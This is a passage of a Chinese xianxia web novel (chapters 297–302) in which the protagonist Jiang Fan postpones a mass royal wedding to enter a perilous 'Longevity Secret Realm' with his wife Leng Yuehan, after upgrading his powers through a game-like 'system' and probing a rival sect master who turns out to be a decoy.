第297章 秘境开启了
江撼岳离开皇宫第一件事,就是对外宣布江芷兰并非亲生。
“镇国公府大小姐江芷兰,实乃本国公结义兄弟、已故忠烈林啸天将军之遗孤!本国公受兄弟临终托付,视若己出,抚养成人。
今芷兰与帝君两情相悦,本国公欣慰之至,特此公告天下,七日后大婚,芷兰将以林氏女、江家媳之身份,与陛下及诸位姑娘,同嫁帝君!以慰啸天兄弟在天之灵,亦全两个孩子一片深情!”
这消息通过官方邸报与市井传言飞速扩散。
起初,自然引来无数震惊与议论。
“什么?江大小姐竟然不是镇国公亲生?”
“是林啸天将军的女儿?那位二十多年前战死沙场的虎将?”
“难怪镇国公对大小姐如此疼爱,甚至超过世子…”
“如今大小姐要嫁给帝君了?这…虽是义女,但毕竟名义上曾是姐弟…”
“啧,你懂什么?又无血缘,且帝君如今何等人物?逍遥公子,陆地神仙,大夏帝君!他与大小姐情投意合,国公爷又亲自澄清,谁还敢嚼舌根?”
“就是!如今帝君威加海内,陛下都欣然接纳,我等百姓只管祝福便是!听说大小姐温柔贤淑,与帝君青梅竹马,正是良配!”
“没错没错,大婚在即,举国同庆,说这些作甚!”
诚如江凡所料,以他如今如日中天的威望与实力,加上江撼岳亲自出面澄清。
萧璇月与后宫诸女和谐共处的榜样在前,这点小小的身世揭秘与关系转变,并未掀起多大风浪,很快便被即将到来的盛大婚礼的喜庆气氛所淹没。
百姓们更津津乐道于帝君与女帝、以及与诸位绝色佳人之间的传奇爱情故事,对江芷兰更多了一份对其生父林啸天将军的敬意与对她本人福气的羡慕。
大夏举国上下,沉浸在一片欢腾与忙碌之中。
礼部、内务府、钦天监等诸多衙门连轴转,筹备这场注定要载入史册的旷世婚礼。
京城内外张灯结彩,御道铺设红毯,各地祥瑞贺表如雪片般飞来。
萧璇月更是下旨,减免天下赋税一年,大赦非十恶之罪,与民同乐。
然而,在这极致的喜庆与喧嚣之下,皇宫深处,修炼的节奏非但没有放缓,反而因为长生秘境开启在即而变得更加疯狂。
有了《龙凤和鸣诀》这门逆天双修**的存在,江芷兰、塔娜、周婉如、柳絮、云暮、冷月寒六女,在江凡这个‘劫境一重’的超级充电宝不计损耗、日夜不休的辅助修炼下,修为提升的速度简直骇人听闻!
她们本身资质皆属上乘,又经过之前丹药和《龙凤和鸣诀》的初步改造,根基扎实。
此刻在江凡高屋建瓴的劫境法则感悟引导与共享下,修炼路上最大的关卡——境界瓶颈,几乎不复存在!
短短数日之内,令人瞠目结舌的突破接连在皇宫各处上演:
萧璇月身为女帝,承载国运,又与江凡心意最为相通,最先受益。
在江凡的辅助下,她本就达到极道宗师中期的修为一路高歌猛进,突破后期、巅峰,最终悍然引动天地灵气,一步踏入陆地神仙之境!
虽然只是初期,但帝王紫气与陆地神仙的真元交融,让她周身威仪更盛,凤眸开阖间隐有金光流转,实力远超寻常陆地神仙初期。
冷月寒身负玄阴灵体,此刻灵体已彻底觉醒,在《龙凤和鸣诀》的调和与江凡的引导下,她不仅初步控制了体内浩瀚的玄阴之力。
更借此力量反哺自身,修为暴涨!
紧随萧璇月之后,她也成功突破,晋入陆地神仙初期!
而且因其灵体特性,对阴寒属性的法则感悟极深,战力不容小觑,只是眉宇间那丝因生机流逝带来的淡淡黯然,始终未曾完全散去。
云暮与柳絮,一个根基扎实、心境沉稳,一个心怀仇恨、意志坚定,在江凡的全力辅助下,也先后突破,踏足陆地神仙初期!
云暮剑心通明,气息更加凝练;柳絮则因大仇未报,修炼带着一股狠劲,真元凌厉,杀伤力惊人。
江芷兰、塔娜、周婉如三女,则因起始修为稍低,或修炼时日较短,未能一举突破陆地神仙,但也纷纷达到了极道宗师后期乃至巅峰!
距离那道门槛,仅有一步之遥!
尤其是江芷兰,体内那股若有若无的寒气似乎与《龙凤和鸣诀》产生了某种共
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鸣,让她修炼起来事半功倍,进境神速,已达极道宗师巅峰,触摸到了陆地神仙的门槛。
至此,江凡身边的红颜知己,实力发生了天翻地覆的变化!
一位劫境一重,四位陆地神仙初期,三位极道宗师后期/巅峰!
这般阵容,若是传出去,足以让任何顶级势力骇然失色!
更别提,她们之间因《龙凤和鸣诀》修炼而产生的微妙联系与默契,让她们联手对敌时,威力绝非简单相加。
江凡看着身边莺莺燕燕、却个个气息强大的女子们,心中豪情与柔情交织,对即将到来的秘境之行,也多了几分底气。
至少,在他离开期间,皇宫拥有足够的自保之力。
当然,他也没忘记人气值这个安身立命的根本。
每日修炼之余,他依旧笔耕不辍,将《深宫秘恋》的‘六神殿篇’写得更加跌宕起伏、反派夏侯弱的恶行更加罄竹难书,‘大乾女帝’与林枫的智勇更加光芒万丈。
新篇章随着大婚消息与北伐南征的捷报一起,迅速传遍大夏新旧疆土,引发了新一轮的阅读与讨论狂潮。
百姓们茶余饭后,无不痛斥‘六神殿’的**,对‘大乾女帝’的英明神武拍案叫绝,无形中进一步巩固了大夏的统治基础,也削弱了武神殿在民间的潜在影响力。
而系统内的人气值,也因此持续暴涨,迅速突破了…三亿大关!
并且还在稳步上升!
江凡心中大定,这笔巨款,足以让他在秘境之中应对任何突发状况,甚至…再次提升修为!
然而,就在大婚庆典筹备进入最后冲刺阶段,距离选定的大婚吉日仅剩最后一天时,一名不速之客,手持武神殿特制的传讯符,在深夜悄然叩响了宫门。
来人正是影老。
他脸色肃穆,对迎接他的江凡与萧璇月躬身一礼,开门见山:
“江帝君,陛下。‘长生秘境’入口,已于两个时辰前,在‘天渊之眼’彻底稳固,现出真容!波动强烈,估计最多能维持一月便会再次隐没。
殿主特命老夫前来,请帝君与冷姑娘,即刻动身,前往秘境!迟则生变,恐错过此次开启之机!”
第298章 一个好消息
“什么?明日便是我大婚之日!”
江凡脸色一沉,心中涌起一股烦躁与怒意。
这武神殿,早不开晚不开,偏偏在这个节骨眼上开启秘境?
多等一天都不行?
萧璇月也是秀眉紧蹙,凤眸中闪过一丝寒意。
但她很快冷静下来,握住江凡的手,轻轻捏了捏,示意他稍安勿躁。
她看向影老,声音清越而带着帝王的威严:
“影老,秘境开启固然紧要,然明日乃朕与帝君,及诸位妹妹大婚之期,举国关注。
能否宽限一日,待大婚礼成,再行动身?以帝君与月寒妹妹的修为,赶路不过瞬息之事,想必不会耽误。”
影老面露难色,苦笑摇头:
“陛下明鉴,非是老夫不通情理,也非殿主故意刁难。实是那‘天渊之眼’环境特殊,秘境入口的稳定时间极难预测,且入口附近时空乱流汹涌,拖延越久,变数越大,进入的风险也成倍增加。
殿主亦是担心夜长梦多,误了帝君救人之大事,才命老夫连夜前来。还望帝君、陛下以冷姑娘安危为重,以秘境机缘为重。”
这话说得冠冕堂皇,将拖延的责任推给了不可测的秘境环境,反而显得武神殿为江凡和冷月寒考虑。
江凡心中冷笑,知道这恐怕是夏侯尊的算计之一,故意选在这个时间点,打乱他的节奏,或许还想试探他的反应。
看来这几日黑武神殿的事情,这个活了两千多年的殿主,心境也没这么平静。
他沉默片刻,看向身旁的萧璇月,又看向闻讯赶来的江芷兰、塔娜、柳絮、周婉如、云暮,以及依偎在他身侧、脸色微微发白的冷月寒。
萧璇月迎上他的目光,读懂了他眼中的挣扎与决断。
她深吸一口气,展颜一笑,那笑容在宫灯下明媚动人,带着令人心安的强大与温柔:
“夫君,去吧。国婚大典固然重要,但月寒妹妹的性命更加紧要。如今我们姐妹修为大进,我、云暮、柳絮已入陆地神仙,芷兰姐姐、塔娜、婉如也距此不远。
宫中更有父亲坐镇,新式军械充足,武神殿又有血誓约束,安全无虞。你放心带月寒妹妹去秘境,夺取‘源生仙泉’。我们在这里,等你和月寒妹妹平安归来。届时,再补上这场婚礼,定更加圆满喜庆。”
“陛下说得对!”云暮上前一步,目光坚定,
“帝君,您放心前去,宫中一切有我们。武神殿若敢耍花样,我们也不是好惹的!”
柳絮眼中寒光闪烁:
“夫君,你和月寒姐姐小心,若事不可为,保命第一,回来再从长计议!”
江芷兰、塔娜、周婉如也纷纷点头,眼中虽有不舍与担忧,但更多的是支持与鼓励。
她们都明白,冷月寒的性命等不起,秘境之行势在必行。
冷月寒紧紧抓着江凡的手,泪水在眼眶中打转,哽咽道:
“夫君…对不起,都是因为我…”
“傻瓜,又说傻话。”
江凡抬手拭去她的泪,声音温柔,
“你是我妻子,救你天经地义。婚礼可以补办,你的命只有一条。等我回来,定给你,也给大家,一个最盛大的婚礼。”
他转头看向影老,目光重新变得平静:
“好,我们即刻动身。影老,带路吧。”
“帝君深明大义!”影老松了一口气,连忙道,
“殿主已在‘天渊之眼’附近等候。事不宜迟,我们这便出发?”
江凡点头,正要吩咐,江撼岳已闻讯大步赶来。
老将军虽不舍,但深知轻重,用力拍了拍儿子的肩膀,虎目微红,沉声道:
“凡儿,月寒,一切小心!爹在京城,等着你们凯旋!到时候,咱们一家团聚,好好喝一杯!”
“爹,放心。”
江凡重重点头。
就在这时,萧璇月忽然上前一步,拉住江凡的手,脸颊绯红,眼中却闪烁着无比明亮的光芒。
她凑到江凡耳边,用只有两人能听到的声音,带着喜悦与一丝羞涩,低语道:
“夫君,还有一事要告诉你…你要当父亲了。御医今日刚确诊,我…有喜了。我和孩子,在宫里等你和月寒妹妹平安回来。”
“什么?!”
江凡如遭雷击,浑身剧震,猛地瞪大眼睛,难以置信地看着萧璇月!
狂喜瞬间如同海啸般淹没了他!
他几乎是颤抖着手,轻轻搭上萧璇月的腕脉。
果然
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,那微弱的、却充满生机的跳动,清晰无误地告诉他——是真的!
月儿怀孕了!
他要当父亲了!
巨大的喜悦与即将离别的酸楚交织,让江凡眼眶发热。
他一把将萧璇月紧紧拥入怀中,在她额头重重一吻,声音带着激动与哽咽:
“月儿!太好了!你…你一定要保护好自己,保护好我们的孩子!等我回来!我一定会带着‘源生仙泉’平安回来!到时候,我们一家团圆!”
“嗯!我等你!”
萧璇月用力回抱他,泪水终于滑落,却是幸福的泪水。
这突如其来的喜讯,冲淡了离别的愁绪,也给了江凡更强大的动力与决心。
他必须成功!必须活着回来!
为了月儿,为了未出世的孩子,也为了月寒,为了所有等他归来的人!
他深吸一口气,强迫自己冷静下来。
心念急转,看向系统界面。
三亿多人气值!
足够了!
“系统,兑换劫境二重修为!”
【叮!消耗人气值250,000,000点!开始灌注劫境二重境界修为、劫力强化、及规则进一步感悟…】
与突破一重时相比,这次的过程相对温和,但提升同样显著。
江凡感觉到体内的劫力更加凝练精纯,对规则的感应与运用能力提升了一截,神识范围再次扩大,对力量的掌控更加入微。
劫境二重!
实力更进一步!
还剩六千五百万人气值。
江凡毫不犹豫,开始疯狂兑换。
各种顶级疗伤、保命、恢复的丹药,足以抵御劫境高手数次全力一击的软甲、隐匿气息、改变容貌的顶级符箓【千幻符】,短距离瞬移的【咫尺天涯符】。
甚至还有一些他突发奇想兑换的、小巧精致的婴儿玩具、柔软舒适的婴孩衣物、胎教启蒙的玉简图画等等…
看着江凡像变戏法一样,拿出大量珍贵无比的丹药、宝甲、符箓分发给众人,最后甚至掏出一堆明显是给未出世孩子准备的小玩意儿。
萧璇月又是感动又是好笑,嗔怪道:
“夫君!孩子还不知是男是女,出世更早着呢,你准备这些做什么?”
第299章 果然不简单
江凡咧嘴一笑,眼中满是幸福与憧憬:
“有备无患嘛!反正我身上宝贝多。月儿你如今是重点保护对象,这些软甲你贴身穿着,丹药随身带着。还有这些玩具衣服,先收着,总能用上。”
众人看着他那副恨不得把天下所有好东西都搬给妻儿的样子,又是心酸又是温暖,离别的伤感也被冲淡了不少,纷纷露出笑意。
然而,告别的时候终究到了。
影老在一旁虽未催促,但眼神中的急切已然明显。
江凡最后深深看了萧璇月一眼,目光扫过江芷兰、塔娜、周婉如、柳絮、云暮,最后落在父亲江撼岳身上,重重抱拳:
“爹,月儿,芷兰,塔娜,婉如,柳絮,云暮…家里,就拜托你们了!保重!”
“夫君保重!”
“凡儿,万事小心!”
“帝君,早日归来!”
“世子,一定要平安!”
声声叮嘱,句句牵挂。
江凡重重点头,不再犹豫,牵起冷月寒的手,对影老道:
“走吧。”
影老连忙点头,“帝君,冷姑娘,请。”
三人化作一道流光,冲天而起,朝着大陆极西的方向,疾射而去,很快便消失在茫茫夜空之中。
皇宫上空,萧璇月等人久久凝望着他们消失的方向,夜风吹拂,衣袂飘飘。
“月儿,回宫吧,小心身子。”
江撼岳轻声劝道,眼中亦有不舍。
萧璇月收回目光,抚摸着自己尚且平坦的小腹,脸上重新露出温柔的笑容:
“嗯,我们回去。夫君和月寒妹妹一定会平安归来的。在那之前,我们要把大夏治理得更好,把家守得更牢。”
她转身,凤眸中闪烁着帝王的威严与母性的光辉:
“传朕旨意,大婚之期延后,具体时日,待帝君与月寒姑娘归来再定。昭告天下,帝君为救爱侣,已前往秘境寻找续命仙药。在此期间,举国上下,当齐心合力,勤修内政,巩固边防,以待帝君凯旋!”
“是!陛下!”
众人齐声应诺,声音在夜空中回荡,充满了信心与期盼。
东方,天际已隐隐泛起鱼肚白。新的一天即将开始,而一场关乎生死、超越凡俗的秘境探险,也正式拉开了序幕。
遥远的西方,天渊之眼,夏侯尊负手立于一片荒凉、时空隐隐扭曲的绝地边缘,望着东方渐亮的天色,嘴角勾起一抹冰冷的、势在必得的弧度。
“江凡…本座在秘境里,为你准备了一份‘大礼’。希望你和你的‘玄阴灵体’,不要让我失望…”
以江凡三人的速度,朝着大陆极西方向疾驰。也耗费了整整两日时光。
沿途,下方景色从大夏的锦绣山河,逐渐变为人烟稀少的荒原、戈壁,最终是仿佛没有尽头的、黄沙漫天、怪石嶙峋的荒漠。
越往西,灵气越发稀薄紊乱,空气中弥漫着一股苍凉、死寂,却又暗藏危险的气息。
时空在这里似乎都变得不太稳定,偶尔能看到扭曲的光影和一闪而逝的空间裂痕。
冷月寒依偎在江凡怀中,越靠近西方,她体内的玄阴之力便波动得越厉害,似乎与远方某种存在产生了强烈的共鸣。
她脸色有些苍白,但眼神却异常明亮,低声道:
“夫君,我感觉到了…那个方向,有什么东西在召唤我…很亲切,但又很危险。”
江凡握紧她的手,将精纯温和的劫力度入她体内,助她平复躁动的力量,低声道:
“定是那‘长生秘境’无疑。月寒,记住,从现在开始,无论发生什么,都不要离开我身边。夏侯尊老奸巨猾,此去必是龙潭虎穴。”
“嗯,月寒明白。”
冷月寒用力点头,将脸贴在他胸口,犹豫了一下,还是轻声道:
“夫君…如果…如果里面真的太危险,超出了我们的能力…你不要勉强。能与你做这短短时日的夫妻,得到你这般倾心相待,月寒…此生已无憾。我不想你为了我…”
“又说傻话。”
江凡低头,以吻封口,堵住了她后面的话语。
这个吻温柔而坚定,良久方歇。
他捧着她的脸,一字一句道:
“月寒,你听好。你是我江凡明媒正娶的妻子,是要与我共度余生的人。你的命,就是我的命。
别说只是危险,就算是刀山火海,九幽地狱,为了你,我也要闯一闯,把它踏平了!以后,不准再说这种丧气话。
我们要一起拿到‘源生仙泉’,一起回去见
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月儿和孩子,一起看着我们的孩子长大,我们要长长久久地在一起,明白吗?”
冷月寒泪水滚落,却绽放出幸福而坚定的笑容,重重点头:
“嗯!长长久久!”
只是她心中已经做了决定,如果真的事不可为,自己决不能让夫君冒险。
哪怕...自己**。
两日后的傍晚,影老终于在一片景象极为诡异的地域边缘缓缓降落。
这里便是大陆极西的尽头,被称为‘天渊之眼’的绝地。
放眼望去,前方是一片无边无际、深不见底的黑暗深渊,仿佛大地在此被生生撕裂,吞噬了一切光线与生机。
深渊上方,浓重如墨的云雾翻滚不息,其中电蛇狂舞,雷声沉闷,更有时空乱流时隐时现,散发出令人心悸的毁灭气息。
而在深渊边缘的某处,一片扭曲的七彩光幕,正悬浮在半空中,光幕之后,隐约可见山川河流、殿宇楼阁的虚影,却又仿佛隔了无尽时空,看不真切。
那光幕散发出的波动,与冷月寒体内的玄阴之力共鸣最为强烈。
这里已然**了不少人。
约莫二十余人,自然是武神殿的。
为首一人,负手立于最前方,背对着江凡等人,面朝着那七彩光幕。
他一身简单的紫袍,银发如雪,仅以一根木簪束着,身姿挺拔。
只是站在那里,便仿佛与周围混乱的时空、狂暴的能量融为了一体,却又超然其上,给人一种深不可测的感觉。
正是武神殿殿主,夏侯尊!
在武神殿众人不远处,还零散站着七八人,服装各异,气息也强弱不一,但最弱的也是极道宗师巅峰,更有两三人散发着劫境的波动。
江凡与冷月寒降落身形,影老与那名长老紧随其后。
他们的到来,立刻吸引了所有人的目光。
尤其是江凡,他那自然而然散发出的道韵,以及年轻得过分的面容,立刻让那些外来高手瞳孔收缩,议论纷纷。
“这位就是逍遥公子、大夏帝君江凡,如此年轻便有此等修为?”
“他身边那女子…寒气逼人,莫非就是‘玄阴灵体’?”
“面对我们这么多高手都面不改色,这位帝君果然不简单。”
第300章 都听夫君的
江凡对周围的议论恍若未闻,他的目光,牢牢锁定了前方那道紫色的背影。
这就是夏侯尊,活了两千多年,谋划长生,将柳絮父母、乃至无数人视为棋子和祭品,也是他目前最大的敌人。
仿佛感应到他的目光,那紫色的背影缓缓转过身来。
一张俊美得近乎妖异的面容映入眼帘。
剑眉斜飞入鬓,鼻梁高挺,嘴唇很薄,肤色是一种久不见阳光的苍白。
最引人注目的是他那双眼睛,瞳孔竟是一种奇异的银灰色,深邃无比,仿佛能洞穿人心,看透时光。
他的脸上带着一丝若有若无的、仿佛掌控一切的笑意,目光在江凡和冷月寒身上扫过。
尤其在冷月寒身上停留了一瞬,眼底闪过一丝难以掩饰的炽热,随即恢复平静。
“江凡小友,久仰大名。今日一见,果然英雄出少年。”
夏侯尊开口,声音温润平和,如同老友寒暄,却带着一种久居上位的雍容与无形的压力。
江凡脸上也露出笑容,上前几步,抱拳道:
“夏侯殿主,幸会。殿主才是真正的老当益壮,风采不减当年。”
他嘴上客气,心中却警铃大作。
这夏侯尊的气息,比他想象中还要深沉晦涩,以他劫境二重的神识,竟难以窥探其深浅。
而且,对方给他的感觉,隐隐有一丝不协调,但具体又说不上来。
两人相隔十丈站定,看似平静对视,实则无形的气机已在空中交锋。
周围的空间都隐隐泛起涟漪,那些修为稍弱的高手无不感到呼吸一窒,慌忙退后。
突然,江凡眼中精光一闪!
毫无征兆地,他心念微动!
“系统,开启【无敌领域】!”
【叮!消耗人气值1,000,000点!【无敌领域】开启!倒计时:一分钟!】
“嗡——!”
一股至高无上、绝对掌控的规则力量,以江凡为中心,瞬间笼罩了方圆三十丈!
恰好将夏侯尊、影老,以及附近的几名武神殿长老笼罩在内!
领域之内,时空凝固,万物停滞!
影老和那几名长老脸上的表情瞬间定格,眼中充满了无边的惊骇与恐惧,他们感觉自身连思维都变得缓慢,生死完全操于江凡一念之间!
然而,就在领域力量触及夏侯尊身体的刹那,异变突生!
只见夏侯尊身上紫光一闪,那俊美的面容竟迅速扭曲、变化!
不过瞬息之间,竟然变成了另一个截然不同的中年男子模样!
相貌普通,眼神木然,周身气息也骤然跌落,从深不可测变得只有劫境一重左右,而且气息虚浮不稳!
这‘夏侯尊’脸上露出一抹诡异的冷笑,声音也变得有些僵硬,却带着嘲讽:
“江凡,本座就知道你没这么老实。一见面就想动手?你以为,本座会毫无准备,以真身来见你这等诡诈之徒?”
江凡瞳孔骤缩!分身?!
眼前这个,竟然只是夏侯尊以秘法操控的一具分身?
或者说,是某种高明的傀儡替身?
他瞬间明白了那丝不协调感从何而来!
这分身虽然气息强大,模拟得惟妙惟肖,但终究缺少了本体那种历经岁月沉淀、与天地共鸣的独特‘神韵’!
“殿主息怒!”影老在领域内勉强发出意念波动,充满惊惧,
“江帝君或许是久未逢敌手,想与殿主切磋一二,绝非有意冒犯!还请帝君收了神通!”
江凡心念电转。
一击不成,对方早有防备,且只是分身。
继续维持领域已无意义,反而白白消耗人气值。
他瞬间收起【无敌领域】。
领域消失,时空恢复流动。
影老和那几名长老如蒙大赦,踉跄后退几步,脸色惨白,后背已被冷汗浸透,看向江凡的眼神如同看妖魔。
那‘夏侯尊’分身也微微晃了晃,气息又跌落少许,但很快稳住,脸上重新挂上那掌控一切的笑容,只是眼神冰冷了几分。
江凡打了个哈哈,脸上露出歉意的笑容:
“夏侯殿主勿怪,江某久闻殿主威名,今日得见,一时手痒,想试试殿主的深浅,这才忍不住出手试探。
绝无恶意,纯属…切磋,对,切磋!殿主这分身之术,果然神妙,佩服,佩服!”
他这话说得脸不红心不跳,仿佛刚才那一下真的只是友好切磋的起手式。
夏侯尊分身眼中寒光闪烁,冷哼道:
“江凡,这种‘玩笑’,一点也不好
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笑。本座希望,在秘境合作期间,这是第一次,也是最后一次。
若再有下次,即便只是损我一具分身,合作即刻终止!本座不介意让大夏,体会一下何为真正的‘武神之怒’!”
话语中的威胁毫不掩饰。
江凡心中暗骂老狐狸,脸上却笑容不变,从善如流:
“是是是,殿主教训的是,是江某孟浪了。合作期间,自当以诚相待。”
他心中却冷笑,终止合作?
你舍得‘玄阴灵体’和秘境机缘吗?
不过是互相制衡的场面话罢了。
“如此最好。”
夏侯尊分身不再纠缠,转身望向那七彩光幕,语气恢复平淡,
“秘境门户虽已显现,但外围时空乱流尚未完全平息,此刻强行进入,风险极大。在此休整一晚,明日清晨,乱流最弱之时,我们再进入。江小友与冷姑娘,可自便。”
说完,他便不再理会江凡,带着影老等人走向武神殿阵营早已搭建好的几处简易营帐,显然不欲与江凡过多接触。
江凡也乐得清静,牵着冷月寒,走到一处远离武神殿和那些散修、背靠一块巨大嶙峋黑石的偏僻角落。
他挥手布下数层隔音、隔绝探查的结界,又暗中以劫力勾勒了几个预警和防御符文。
“这老狐狸,果然狡诈多疑,竟然只派个分身前来。”
江凡盘膝坐下,脸色阴沉。
刚才的试探,虽然没试出夏侯尊本体的深浅,但至少知道了对方极度谨慎,且拥有高明的分身或替身之术。
这让他对秘境之行的凶险,评估又提高了一层。
冷月寒靠在他身边,低声道:
“夫君,我刚才感应得更清楚了。秘境里面,确实有什么在召唤我,很强烈…而且,我感觉那召唤的源头,似乎…对我没有恶意,甚至有些亲切。但周围的环境,给我一种非常危险的感觉。”
“亲切?”江凡眉头一皱,
“月寒,记住,越是这种感觉,越要警惕。这秘境与你的‘玄阴灵体’息息相关,那召唤或许是灵体与秘境的本能感应,也可能是某种陷阱。一切听我指挥,绝不可擅自行动。”
“嗯,我都听夫君的。”
冷月寒点头,将他的手握得更紧。
第301章 危险的世界
与此同时,武神殿营地中心,最大的那顶营帐内。
真正的夏侯尊缓缓睁开双眼,他此刻正身处武神山深处的密室内,周身悬浮着数件散发着古老气息的物件。
他正在祭炼中间一块残缺的、非金非石、表面布满玄奥纹路的黑色石碑。
他脸色微微发白,显然刚才分身硬抗江凡【无敌领域】的冲击,即便隔着遥远距离,也让他心神受了一丝震荡。
“影。”他通过特殊联系,对远在天渊之眼的影老传音。
“属下在。”
影老的声音立刻在夏侯尊心间响起,犹带着后怕,
“殿主,那小子的领域…太诡异了!属下刚才感觉,生死完全不由己!若非殿主早有准备,以‘千幻傀’替代,恐怕…”
“本座知晓。”夏侯尊打断他,声音冰冷,
“那领域,是一种极为高等的‘规则领域’,在领域范围内,他近乎言出法随,无敌于世。不过,也并非无懈可击。”
他顿了顿,继续道:
“第一,范围有限,据本座感知与‘千幻傀’反馈,大约只有三十丈。在秘境复杂环境中,保持距离即可。
第二,任何强大的规则运用,必有代价或限制。他频繁动用,必有隐患,或是消耗巨大,或是持续时间有限。第三…”
他看向面前那块正在被祭炼的黑色石碑,眼中闪过一丝炙热,
“本座这块‘混沌镇魔碑’残片,虽残缺,却也是触及‘混沌’、‘**’规则的上古神器!
一旦炼化一二,便可释放‘混沌领域’,虽不及他那般绝对,却足以干扰、抵消他那领域的大部分威力!
届时,他区区劫境二重的修为,在本座面前,不过土鸡瓦狗!”
影老闻言,精神一振:
“殿主英明!那眼下我们该如何?”
“明日进入秘境后,你与几位长老,带着‘千幻傀’与江凡周旋,假意合作探路。本座真身,会混在后续进入的弟子队伍中,悄然跟随。三日内,本座必能将这‘镇魔碑’初步炼化,届时再现身,与他清算总账!
在这之前,一切由你便宜行事,尽量利用他们探明前路危险,保存我方实力。记住,那‘玄阴灵体’是关键,务必盯紧,但不可打草惊蛇。”
“属下明白!”影老恭敬领命,眼中闪过厉色,“请殿主放心,属下知道该怎么做。”
切断联系,夏侯尊重新闭上双眼,全力催动法力,祭炼面前的‘混沌镇魔碑’。
密室中,古老晦涩的符文亮起,发出低沉的嗡鸣。
而江凡这边,他也没有闲着。
他一边调息,将状态调整至最佳,一边分出一缕神识,沉入系统商城,再次仔细筛选,用剩下的人气值兑换了几样可能用得上的特殊物品:
能看破大部分幻术与伪装的【破妄金瞳符】(一次性),能在一定范围内感应到针对自己的强烈恶意与杀机的【心血来潮警示玉】。
以及数枚能瞬间补充大量劫力、效果远超普通回元丹的【劫元丹】。
夜色渐深,天渊之眼上空翻滚的云雾与电蛇愈发狂暴,那七彩光幕却似乎更加凝实了一些。
修炼者都在默默调息,为秘境之行做最后准备。
江凡搂着冷月寒,望着远处武神殿营地摇曳的灯火,眼神深邃。
此刻,能站在这平台边缘的,都是武神殿的精锐。
气氛凝重。
江凡一手紧握着冷月寒微凉的手,另一只手看似随意地垂在身侧,实则已与系统界面保持着最紧密的联系,心念随时可以发动【无敌领域】。
他的目光扫过人群,尤其在几名气息最为晦涩的劫境长老身上多停留了一瞬,神识细致地扫描着每一个人,试图找出那个隐藏最深的身影——夏侯尊的本体。
然而,一无所获。
对面的人群中,虽有数人气息强大,但他们给江凡的感觉,与那日傀儡分身所承载的气度截然不同。
夏侯尊的本体,果然没有现身,或者说,隐藏得极好。
“这老狐狸,到底躲在哪里?还是说,他已经先一步用别的方法进去了?”
江凡心中暗自警惕,将冷月寒往自己身边又拉近了些,用身体隐隐将她护在后方。
武神殿的目标是冷月寒,他绝不能给任何人可乘之机。
对面,以影老为首,一众武神殿高手也同样暗中戒备,目光聚焦在江凡身上,尤其是他那看似随意垂落的手。
之前瞬间令他们灵魂冻结的领域之力,至今回想起来仍让他们心有余悸。
若非殿主早有准备,后果不堪设想。
此刻,无人敢轻举妄动,但那种隐隐的敌
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意与贪婪,却在沉默中蔓延。
时间转眼过去一夜。
“嗡——!”
就在这令人窒息的僵持中,那高达百丈的淡金色秘境光门,骤然发出一阵剧烈的轰鸣!
光门旋转的速度猛地加快,边缘模糊的波纹迅速变得清晰、稳定,门内的景象不再变幻不定,而是定格成了一片朦胧的荒古大地景象!
一股更加精纯、古老、却又带着蛮荒凶戾气息的灵气,从门内汹涌而出,与‘天渊之眼’原本狂暴混乱的能量形成鲜明对比!
秘境入口,彻底稳固了!
“就是现在!进!”
影老眼中精光爆射,厉声喝道,同时身形率先化作一道流光,毫不犹豫地冲入了那淡金色的光门之中,瞬间被朦胧的混沌雾气吞噬。
“走!”
其余武神殿高手也纷纷动身,各色光芒亮起,争先恐后地射入光门。
他们似乎早有安排,进入的顺序颇有章法,并非一窝蜂乱闯。
江凡不再犹豫,对冷月寒低喝一声:
“跟紧我!”
周身淡金色的劫力勃发,形成一个柔和却坚韧的光罩,将两人笼罩其中,随即一步踏出,也冲入了光门。
穿越光门的瞬间,仿佛穿过一层温暖水膜的奇异触感。
眼前光影变幻,待视线清晰,已然置身于一个完全陌生的天地。
天空是永恒的暗红色,没有日月星辰,只有厚重的血色云层低低地压在头顶,散发出压抑而诡异的光芒。
大地呈现出一种灰褐色,龟裂纵横,寸草不生,唯有嶙峋的怪石散落四处。
空气中弥漫着腐朽的气息,灵气虽然比外界浓郁数倍,却异常狂暴,掺杂着各种混乱的属性能量,寻常修士在此修炼,极易走火入魔。
更让人心悸的是,目光所及之处,天地间隐隐有无形的杀机在流淌。
一些看似寻常的岩石排列、地面裂缝的走向,在江凡这位阵法大宗师眼中,都暗含着极其复杂、凶险万分的天然杀阵与时空陷阱!
有些地方空间微微扭曲,光线折射异常;有些地方死寂一片,连灰尘都仿佛凝固;有些地方则隐约传来令人头皮发麻的能量波动,仿佛沉睡的凶兽在呼吸。
这里,便是长生秘境!
一个充满机缘,也遍布死亡的危险世界!
第302章 别让他抢先
江凡稳住身形,第一时间将冷月寒完全护在身后,神识全力展开,警惕地扫视四周。
只见他们出现的地方,似乎是一片相对平坦的戈壁,不远处,影老与武神殿的众人也刚刚稳住阵脚,正迅速集结。
同样警惕地打量着环境,但比起江凡的如临大敌,他们显得似乎…从容一些?
江凡目光扫过系统界面。
【当前人气值:215,000,000】
进入秘境,似乎并未影响人气的增长,依旧维持在两亿一千五百万以上。
足够他兑换数次【无敌领域】,甚至…再次提升修为到劫境三重!
但他没有急着动用人气值,底牌要用在关键时刻。
眼下,最重要的是弄清楚状况,找到‘源生仙泉’的线索,并提防武神殿。
“影老,”江凡看向不远处的影老,沉声问道,
“我们已经进入秘境。接下来该如何行事?月寒的体质,到底如何开启通往核心区域的道路?或者说,那‘源生仙泉’,究竟在何处?地图上似乎没有标注。”
影老转过身,脸上挤出一丝略显僵硬的笑容,避重就轻道:
“江帝君莫急。这秘境外围危机四伏,杀阵遍地,需得先按地图所示,穿过这片‘万杀戈壁’,抵达前方的‘遗落古城’废墟。
那里才是相对安全的休整点,也藏有一些关于秘境核心的线索。至于冷姑娘的体质如何感应、引路,到了‘遗落古城’,或许自有分晓。
请帝君与冷姑娘紧随我等,切莫擅自行动,以免触发凶阵,万劫不复。”
说完,他也不等江凡回应,便对身旁一名精通阵法的长老示意。
那名长老手持一块类似罗盘的法器,仔细辨认了一下方向,又对照着手中一份古老皮卷,当先朝着一个方向,以一种奇特而谨慎的步伐,慢慢前行。
其余武神殿高手紧随其后,组成一个防御阵型,将影老护在中心。
江凡看着他们前行的路线,目光微凝。
他拥有满级阵法知识,只略一观察,便看出影老等人选择的路径,确实巧妙地避开了几处最凶险的天然绝杀之阵的触发点,沿着一条相对安全的缝隙在前进。
武神殿提供的外围地图,在规避这些天然杀阵方面,似乎是真的。
